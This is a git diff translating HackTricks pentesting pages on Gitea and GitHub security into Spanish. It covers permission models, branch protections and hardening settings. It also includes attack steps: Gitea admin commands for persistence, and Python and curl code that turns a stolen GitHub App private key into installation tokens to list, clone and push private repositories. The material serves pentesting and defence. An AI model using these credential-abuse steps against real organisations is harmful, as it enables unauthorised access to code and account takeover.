- `gitea dump` volcará gitea y generará un archivo .zip.
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generará un token del tipo indicado (persistencia).
- `gitea admin user change-password --username admin --password newpassword` Cambia la contraseña.
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Crea un nuevo usuario administrador y obtiene un token de acceso.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,106 +1,103 @@
# Basic Gitea Information
# Información Básica de Gitea
{{#include ../../banners/hacktricks-training.md}}
## Basic Structure
## Estructura Básica
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
La estructura básica del entorno de Gitea es agrupar repos por **organización(es),** cada una de ellas puede contener **varios repositorios** y **varios equipos.** Sin embargo, ten en cuenta que al igual que en github, los usuarios pueden tener repos fuera de la organización.
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
Además, un **usuario** puede ser **miembro** de **diferentes organizaciones**. Dentro de la organización, el usuario puede tener **diferentes permisos sobre cada repositorio**.
A user may also be **part of different teams** with different permissions over different repos.
Un usuario también puede ser **parte de diferentes equipos** con diferentes permisos sobre diferentes repos.
And finally **repositories may have special protection mechanisms**.
Y finalmente, **los repositorios pueden tener mecanismos de protección especiales**.
## Permissions
## Permisos
### Organizations
### Organizaciones
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
Cuando se **crea una organización**, se crea un equipo llamado **Owners** y el usuario se coloca dentro de él. Este equipo otorgará **acceso de administrador** sobre la **organización**, esos **permisos** y el **nombre** del equipo **no pueden ser modificados**.
**Org admins** (owners) can select the **visibility** of the organization:
**Org admins** (propietarios) pueden seleccionar la **visibilidad** de la organización:
- Public
- Limited (logged in users only)
- Private (members only)
- Pública
- Limitada (solo usuarios registrados)
- Privada (solo miembros)
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
**Org admins** también pueden indicar si los **repo admins** pueden **agregar o eliminar acceso** para equipos. También pueden indicar el número máximo de repos.
When creating a new team, several important settings are selected:
Al crear un nuevo equipo, se seleccionan varias configuraciones importantes:
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
- It's also indicated **if members can create new repos** (creator will get admin access to it)
- The **permissions** the **members** of the repo will **have**:
- **Administrator** access
- **Specific** access:
- Se indica los **repos de la org a los que los miembros del equipo podrán acceder**: repos específicos (repos donde se agrega el equipo) o todos.
- También se indica **si los miembros pueden crear nuevos repos** (el creador obtendrá acceso de administrador a él)
- Los **permisos** que los **miembros** del repos tendrán:
- Acceso de **Administrador**
- Acceso **Específico**:
![](<../../images/image (118).png>)
### Teams & Users
### Equipos y Usuarios
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
En un repositorio, el **org admin** y los **repo admins** (si lo permite la org) pueden **gestionar los roles** otorgados a colaboradores (otros usuarios) y equipos. Hay **3** posibles **roles**:
- Administrator
- Write
- Read
- Administrador
- Escribir
- Leer
## Gitea Authentication
## Autenticación de Gitea
### Web Access
### Acceso Web
Using **username + password** and potentially (and recommended) a 2FA.
Usando **nombre de usuario + contraseña** y potencialmente (y recomendado) un 2FA.
### **SSH Keys**
### **Claves SSH**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
Puedes configurar tu cuenta con una o varias claves públicas que permiten que la **clave privada relacionada realice acciones en tu nombre.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
#### **Claves GPG**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
No **puedes suplantar al usuario con estas claves** pero si no las usas, podría ser posible que **se descubra que envías commits sin una firma**.
### **Personal Access Tokens**
### **Tokens de Acceso Personal**
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
Puedes generar un token de acceso personal para **dar acceso a una aplicación a tu cuenta**. Un token de acceso personal otorga acceso completo a tu cuenta: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
### Aplicaciones Oauth
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
Al igual que los tokens de acceso personal, las **aplicaciones Oauth** tendrán **acceso completo** a tu cuenta y a los lugares a los que tu cuenta tiene acceso porque, como se indica en la [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), los scopes aún no son compatibles:
![](<../../images/image (194).png>)
### Deploy keys
### Claves de Despliegue
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
Las claves de despliegue pueden tener acceso de solo lectura o de escritura al repositorio, por lo que pueden ser interesantes para comprometer repos específicos.
## Branch Protections
## Protecciones de Ramas
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
Las protecciones de ramas están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **implementar varios métodos de protección antes de poder escribir código dentro de alguna rama**.
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
Las **protecciones de ramas de un repositorio** se pueden encontrar en _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
> [!NOTE]
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
> No es **posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben ser declaradas en cada repositorio.
Different protections can be applied to a branch (like to master):
Se pueden aplicar diferentes protecciones a una rama (como a master):
- **Disable Push**: No-one can push to this branch
- **Enable Push**: Anyone with access can push, but not force push.
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
- **Enable Status checks:** Require status checks to pass before merging.
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
- **Block merge on official review requests**: If there official review requests it cannot be merged
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
- **Require Signed Commits**: Commits must be signed.
- **Block merge if pull request is outdated**
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
- **Deshabilitar Push**: Nadie puede hacer push a esta rama
- **Habilitar Push**: Cualquiera con acceso puede hacer push, pero no forzar push.
- **Lista Blanca de Push Restringido**: Solo usuarios/equipos seleccionados pueden hacer push a esta rama (pero no forzar push)
- **Habilitar Lista Blanca de Merge**: Solo usuarios/equipos en la lista blanca pueden fusionar PRs.
- **Habilitar Verificaciones de Estado:** Requiere que las verificaciones de estado pasen antes de fusionar.
- **Requerir aprobaciones**: Indica el número de aprobaciones requeridas antes de que un PR pueda ser fusionado.
- **Restringir aprobaciones a los de la lista blanca**: Indica usuarios/equipos que pueden aprobar PRs.
- **Bloquear fusión en revisiones rechazadas**: Si se solicitan cambios, no se puede fusionar (incluso si las otras verificaciones pasan)
- **Bloquear fusión en solicitudes de revisión oficiales**: Si hay solicitudes de revisión oficiales, no se puede fusionar
- **Desestimar aprobaciones obsoletas**: Cuando hay nuevos commits, las aprobaciones antiguas serán desestimadas.
- **Requerir Commits Firmados**: Los commits deben estar firmados.
- **Bloquear fusión si la solicitud de extracción está desactualizada**
- **Patrones de archivos protegidos/no protegidos**: Indica patrones de archivos para proteger/no proteger contra cambios
> [!NOTE]
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que empujes código a master** por ejemplo para comprometer el pipeline de CI/CD.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,250 +1,237 @@
# Github Security
# Seguridad de Github
{{#include ../../banners/hacktricks-training.md}}
## What is Github
## Qué es Github
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
(Desde [aquí](https://kinsta.com/knowledgebase/what-is-github/)) A un alto nivel, **GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código**.
### Basic Information
### Información Básica
{{#ref}}
basic-github-information.md
{{#endref}}
## External Recon
## Reconocimiento Externo
Github repositories can be configured as public, private and internal.
Los repositorios de Github pueden configurarse como públicos, privados e internos.
- **Private** means that **only** people of the **organisation** will be able to access them
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
- **Public** means that **all internet** is going to be able to access it.
- **Privado** significa que **solo** las personas de la **organización** podrán acceder a ellos.
- **Interno** significa que **solo** las personas de la **empresa** (una empresa puede tener varias organizaciones) podrán acceder a él.
- **Público** significa que **todo internet** podrá acceder a él.
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
En caso de que conozcas al **usuario, repositorio u organización que deseas atacar**, puedes usar **github dorks** para encontrar información sensible o buscar **filtraciones de información sensible** **en cada repositorio**.
### Github Dorks
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
Github permite **buscar algo especificando como alcance un usuario, un repositorio o una organización**. Por lo tanto, con una lista de cadenas que van a aparecer cerca de información sensible, puedes fácilmente **buscar información sensible potencial en tu objetivo**.
Tools (each tool contains its list of dorks):
Herramientas (cada herramienta contiene su lista de dorks):
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista de Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista de Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista de Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
### Github Leaks
### Filtraciones de Github
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
Por favor, ten en cuenta que los github dorks también están destinados a buscar filtraciones utilizando las opciones de búsqueda de github. Esta sección está dedicada a aquellas herramientas que **descargarán cada repositorio y buscarán información sensible en ellos** (incluso revisando cierta profundidad de commits).
Tools (each tool contains its list of regexes):
Herramientas (cada herramienta contiene su lista de regexes):
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
Consulta esta página: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
> [!WARNING]
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
> Cuando busques filtraciones en un repositorio y ejecutes algo como `git log -p`, no olvides que puede haber **otras ramas con otros commits** que contengan secretos.
### External Forks
### Forks Externos
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
Es posible **comprometer repositorios abusando de solicitudes de extracción**. Para saber si un repositorio es vulnerable, principalmente necesitas leer las configuraciones yaml de Github Actions. [**Más información sobre esto a continuación**](#execution-from-a-external-fork).
### Github Leaks in deleted/internal forks
### Filtraciones de Github en forks eliminados/internos
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
Incluso si están eliminados o internos, puede ser posible obtener datos sensibles de forks de repositorios de github. Consulta aquí:
{{#ref}}
accessible-deleted-data-in-github.md
{{#endref}}
## Organization Hardening
## Fortalecimiento de la Organización
### Member Privileges
### Privilegios de Miembros
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
Hay algunos **privilegios predeterminados** que se pueden asignar a los **miembros** de la organización. Estos se pueden controlar desde la página `https://github.com/organizations/<org_name>/settings/member_privileges` o desde la [**API de Organizaciones**](https://docs.github.com/en/rest/orgs/orgs).
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- _I couldn't find this info in the APIs response, share if you do_
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- _I couldn't find this info in the APIs response, share if you do_
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- _I couldn't find this info in the APIs response, share if you do_
- **More things can be configured** in this page but the previous are the ones more security related.
- **Permisos base**: Los miembros tendrán el permiso Ninguno/Leer/escribir/Administrar sobre los repositorios de la organización. Se recomienda **Ninguno** o **Leer**.
- **Forking de repositorios**: Si no es necesario, es mejor **no permitir** que los miembros hagan forks de los repositorios de la organización.
- **Creación de páginas**: Si no es necesario, es mejor **no permitir** que los miembros publiquen páginas desde los repositorios de la organización. Si es necesario, puedes permitir crear páginas públicas o privadas.
- **Solicitudes de acceso a integraciones**: Con esto habilitado, los colaboradores externos podrán solicitar acceso para aplicaciones de GitHub o OAuth para acceder a esta organización y sus recursos. Generalmente es necesario, pero si no, es mejor deshabilitarlo.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
- **Cambio de visibilidad del repositorio**: Si está habilitado, los **miembros** con permisos de **administrador** para el **repositorio** podrán **cambiar su visibilidad**. Si está deshabilitado, solo los propietarios de la organización pueden cambiar las visibilidades de los repositorios. Si **no** quieres que las personas hagan cosas **públicas**, asegúrate de que esto esté **deshabilitado**.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
- **Eliminación y transferencia de repositorios**: Si está habilitado, los miembros con permisos de **administrador** para el repositorio podrán **eliminar** o **transferir** **repositorios** públicos y privados.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
- **Permitir a los miembros crear equipos**: Si está habilitado, cualquier **miembro** de la organización podrá **crear** nuevos **equipos**. Si está deshabilitado, solo los propietarios de la organización pueden crear nuevos equipos. Es mejor tener esto deshabilitado.
- _No pude encontrar esta información en la respuesta de las APIs, comparte si lo haces_
- **Se pueden configurar más cosas** en esta página, pero las anteriores son las más relacionadas con la seguridad.
### Actions Settings
### Configuración de Acciones
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
Se pueden configurar varias configuraciones relacionadas con la seguridad para acciones desde la página `https://github.com/organizations/<org_name>/settings/actions`.
> [!NOTE]
> Note that all this configurations can also be set on each repository independently
> Ten en cuenta que todas estas configuraciones también se pueden establecer en cada repositorio de forma independiente.
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- _I couldn't find an API with this info, share if you do_
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- _I couldn't find an API with this info, share if you do_
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
- **Políticas de acciones de Github**: Te permite indicar qué repositorios pueden ejecutar flujos de trabajo y qué flujos de trabajo deben ser permitidos. Se recomienda **especificar qué repositorios** deben ser permitidos y no permitir que todas las acciones se ejecuten.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
- **Flujos de trabajo de solicitudes de extracción de forks de colaboradores externos**: Se recomienda **requerir aprobación para todos** los colaboradores externos.
- _No pude encontrar una API con esta información, comparte si lo haces_
- **Ejecutar flujos de trabajo desde solicitudes de extracción de forks**: Es **muy desaconsejado ejecutar flujos de trabajo desde solicitudes de extracción** ya que los mantenedores del fork de origen tendrán la capacidad de usar tokens con permisos de lectura en el repositorio fuente.
- _No pude encontrar una API con esta información, comparte si lo haces_
- **Permisos de flujo de trabajo**: Se recomienda **dar solo permisos de lectura del repositorio**. Se desaconseja dar permisos de escritura y crear/aprobar solicitudes de extracción para evitar el abuso del GITHUB_TOKEN dado a los flujos de trabajo en ejecución.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
### Integraciones
_Let me know if you know the API endpoint to access this info!_
_Házmelo saber si conoces el endpoint de la API para acceder a esta información!_
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
- **Política de acceso a aplicaciones de terceros**: Se recomienda restringir el acceso a cada aplicación y permitir solo las necesarias (después de revisarlas).
- **Aplicaciones de GitHub instaladas**: Se recomienda permitir solo las necesarias (después de revisarlas).
## Recon & Attacks abusing credentials
## Reconocimiento y Ataques abusando de credenciales
For this scenario we are going to suppose that you have obtained some access to a github account.
Para este escenario vamos a suponer que has obtenido algún acceso a una cuenta de github.
### With User Credentials
### Con Credenciales de Usuario
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
Si de alguna manera ya tienes credenciales para un usuario dentro de una organización, puedes **simplemente iniciar sesión** y verificar qué **roles de empresa y organización tienes**, si eres un miembro normal, verifica qué **permisos tienen los miembros normales**, en qué **grupos** estás, qué **permisos tienes** sobre qué **repositorios** y **cómo están protegidos los repositorios**.
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
Ten en cuenta que **se puede usar 2FA**, por lo que solo podrás acceder a esta información si también puedes **pasar esa verificación**.
> [!NOTE]
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
> Ten en cuenta que si **logras robar la cookie `user_session`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA.
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
Consulta la sección a continuación sobre [**bypasses de protección de ramas**](#branch-protection-bypass) en caso de que sea útil.
### With User SSH Key
### Con Clave SSH de Usuario
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
Github permite a los **usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA).
Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de github para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repositorios y el usuario al que tienes acceso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
Si el usuario ha configurado su nombre de usuario como su nombre de usuario de github, puedes acceder a las **claves públicas que ha establecido** en su cuenta en _https://github.com/\<github_username>.keys_, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada.
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
Las **claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Normalmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada.
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
#### Claves GPG
#### GPG Keys
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
Check locally if the current user has any key with:
Como se explicó [**aquí**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), a veces es necesario firmar los commits o podrías ser descubierto.
Verifica localmente si el usuario actual tiene alguna clave con:
```shell
gpg --list-secret-keys --keyid-format=long
```
### Con Token de Usuario
### With User Token
Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-github-information.md#personal-access-tokens).
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
Un token de usuario puede ser utilizado **en lugar de una contraseña** para Git sobre HTTPS, o puede ser utilizado para [**autenticarse en la API a través de la Autenticación Básica**](https://docs.github.com/v3/auth/#basic-authentication). Dependiendo de los privilegios asociados, podrías realizar diferentes acciones.
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
Un token de usuario se ve así: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Con Aplicación Oauth
### With Oauth Application
Para una introducción sobre [**Aplicaciones Oauth de Github consulta la información básica**](basic-github-information.md#oauth-applications).
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing.
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Estos son los [alcances que una aplicación Oauth puede solicitar](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Siempre se debe verificar los alcances solicitados antes de aceptarlos.
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
Además, como se explica en la información básica, **las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
### Con Aplicación de Github
### With Github Application
Para una introducción sobre [**Aplicaciones de Github consulta la información básica**](basic-github-information.md#github-applications).
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
Un atacante podría crear una **Aplicación de Github maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las aceptan, probablemente como parte de una campaña de phishing.
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
Además, como se explica en la información básica, **las organizaciones pueden otorgar/denegar acceso a aplicaciones de terceros** a información/repos/acciones relacionadas con la organización.
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
#### Suplantar una Aplicación de GitHub con su clave privada (JWT → tokens de acceso de instalación)
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
Si obtienes la clave privada (PEM) de una Aplicación de GitHub, puedes suplantar completamente la aplicación en todas sus instalaciones:
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
- Generar un JWT de corta duración firmado con la clave privada
- Llamar a la API REST de la Aplicación de GitHub para enumerar instalaciones
- Crear tokens de acceso por instalación y usarlos para listar/clonar/empujar a repositorios otorgados a esa instalación
- Generate a shortlived JWT signed with the private key
- Call the GitHub App REST API to enumerate installations
- Mint perinstallation access tokens and use them to list/clone/push to repositories granted to that installation
Requirements:
- GitHub App private key (PEM)
- GitHub App ID (numeric). GitHub requires iss to be the App ID
Create JWT (RS256):
Requisitos:
- Clave privada de la Aplicación de GitHub (PEM)
- ID de la Aplicación de GitHub (numérico). GitHub requiere que iss sea el ID de la Aplicación
Crear JWT (RS256):
```python
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
```
List installations for the authenticated app:
Lista de instalaciones para la aplicación autenticada:
```bash
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
```
Create an installation access token (valid ≤ 10 minutes):
Crea un token de acceso de instalación (válido ≤ 10 minutos):
```bash
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
```
Use the token to access code. You can clone or push using the xaccesstoken URL form:
Utiliza el token para acceder al código. Puedes clonar o enviar usando la forma de URL xaccesstoken:
```bash
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
```
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
Prueba de concepto programática para dirigirse a una organización específica y listar repositorios privados (PyGithub + PyJWT):
```python
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
@@ -253,57 +240,53 @@ print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
```
Notas:
- Los tokens de instalación heredan exactamente los permisos a nivel de repositorio de la aplicación (por ejemplo, contents: write, pull_requests: write)
- Los tokens expiran en ≤10 minutos, pero se pueden generar nuevos tokens indefinidamente siempre que se conserve la clave privada
- También puedes enumerar instalaciones a través de la API REST (GET /app/installations) usando el JWT
Notes:
- Installation tokens inherit exactly the apps repositorylevel permissions (for example, contents: write, pull_requests: write)
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
